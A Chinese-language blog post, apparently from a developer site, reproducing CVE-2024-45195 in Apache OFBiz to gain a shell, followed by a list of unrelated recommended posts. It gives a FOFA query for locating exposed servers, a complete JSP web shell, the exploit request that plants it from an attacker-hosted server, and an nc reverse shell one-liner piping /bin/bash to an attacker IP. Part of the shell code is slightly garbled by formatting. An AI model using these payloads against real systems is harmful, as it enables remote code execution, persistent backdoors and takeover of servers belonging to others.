Apache OFBiz 远程代码执行漏洞复现(CVE-2024-45195)并拿到shell

FOFA:app="Apache_OFBiz"

复现:

VPS上准备两个文件

rceschema.xml

<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">

<record name="rceentry" limit="many">

<field name="jsp" type="String" length="605" position="0"></field>

</record>

</data-file>

</data-files>

rcereport.csv

<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String\[\] cmd = new String3; cmd0 = cmd1; cmd1 = cmd2; cmd2 = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>

POC:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2

Host: 目标地址

User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/41.0.887.0 Safari/532.1

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: close

Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://公网ip:端口/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://公网ip:端口/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

原来的包

服务器python开启http服务

python3 -m http.server 8888

ps:在服务器中要加这个规则,把防火墙关了

看看能不能访问

发送修改后的包

服务器上启的http服务收到访问链接

访问下列接口进行RCE验证

GET /accounting/index.jsp?cmd=id HTTP/2

Host: 对方的host

反弹shell

查询有无nc

这次使用的nc命令为

nc ip 端口 | /bin/bash|nc ip 端口

如nc 124.70.xxx.xxx 4443|/bin/bash|nc 124.70.xxx.xxx 4441

开启监听

让对方执行nc命令(要对命令进行url编码)

下面是编码后的换成自己的就好啦ps:右边没回显说明成功

nc+ip+端口%7C%2Fbin%2Fbash%7Cnc+ip+端口

可能遇到的问题:

监听不到可能是因为在入站规则没加那两个端口加一下就好了

还有关防火墙

相关推荐
熊猫钓鱼>_>5 小时前
平行视界兼容模式与魔法变量配置避坑【鸿蒙心迹】
运维·服务器·开发语言·笔记·华为·harmonyos·openharmony
衡石科技5 小时前
让多轮问数保持口径一致:Data Agent 的上下文、偏好与学习开关
人工智能·学习·安全
IT19956 小时前
Docker 快速部署 DM8 达梦数据库|完整踩坑笔记
笔记·docker·容器
東隅已逝,桑榆非晚6 小时前
算法2. 双指针法-复写零
c++·笔记·学习·算法
用户790860057266 小时前
扫出 176 个「危险代码」,结果一个都不用删:我的静态安检门禁
安全
Star(up up up)6 小时前
Docker系列---Docker容器基本命令(新手小白保姆级实操教程)
运维·学习·程序人生·青少年编程·docker·容器·dubbo
HZCG567897 小时前
他们锚定国际标准搭建PT100产品的基础性能框架
经验分享
云析赢指标公式网47 小时前
文华财经指标源码笔记:WINNER筹码函数、控盘变量与MACD变体的调试记录
java·笔记·算法
武天旭7 小时前
AI安全--AI大模型的关键技术组成
人工智能·深度学习·安全·机器学习
无心水7 小时前
22、数学与经济管理(运筹学) 核心考点与学习笔记
人工智能·笔记·学习·架构师·软考·软考架构师·软考系统架构师